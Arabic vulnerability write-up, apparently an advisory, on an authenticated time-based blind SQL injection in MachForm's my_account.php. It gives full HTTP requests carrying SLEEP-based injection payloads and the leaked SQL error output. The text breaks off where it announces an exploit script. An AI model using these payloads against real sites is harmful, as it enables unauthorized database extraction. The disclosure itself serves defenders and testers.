
نص برمجي لاستغلال ثغرة حقن SQL أعمى موثّقة في MachForm حتى الإصدار v19، باستخدام تقنيات قائمة على الوقت لاستخراج معلومات قاعدة البيانات من نقطة النهاية my_account.php.
يتأثر MachForm حتى الإصدار 19 بحقن SQL أعمى مصادق عليه في صفحة إعدادات حساب المستخدم.
تتكون هجمات حقن SQL من إدراج استعلامات SQL من خلال استخدام حقل بيانات إدخال من تطبيق العميل. يسمح هذا النوع من الهجوم بالحصول على الوصول إلى قاعدة البيانات مما قد يؤدي بعد ذلك إلى تسريب أو تعديل أو حذف البيانات الموجودة.
حقن SQL الأعمى هو نوع محدد من الهجوم حيث لا يتلقى المهاجم نتيجة الاستعلام الكاملة ولكنه قادر فقط على طرح أسئلة صحيحة أو خاطئة؛ يمكن تحقيق ذلك من خلال استخدام وظائف sleep لإجبار تأخير في استجابة قاعدة البيانات أو إحداث حالات خطأ.
المعامل user_admin_theme في مورد my_account.php عرضة لحقن SQL.

الطلب:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
الرد:
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'self' *.application-baseurl; script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close
SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params: 0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1
يمكن استغلال هذا باستخدام هجوم زمني باستخدام شرط sleep والتحقق مما إذا كان تأخير الاستجابة يتغير بناءً على نتيجة الاستعلام المطلوب.
الاستعلام:
SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END
باستخدام شرط صحيح دائمًا، يستغرق رد التطبيق أكثر من 2000 مللي ثانية.

الطلب:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
الاستعلام:
SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END
وبدلاً من ذلك، باستخدام شرط خاطئ دائمًا، يكون رد التطبيق فوريًا تقريبًا.

الطلب:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
يمكن استغلال هذه الثغرة باستخدام سكريبت بسيط يقيم وقت الاستجابة من أجل فهم ما إذا كان الاستعلام المدخل له استجابة صحيحة أم خاطئة.
أدناه، مثال يستخدم لاسترداد المستخدم الحالي لقاعدة البيانات باستخدام exploit.py.
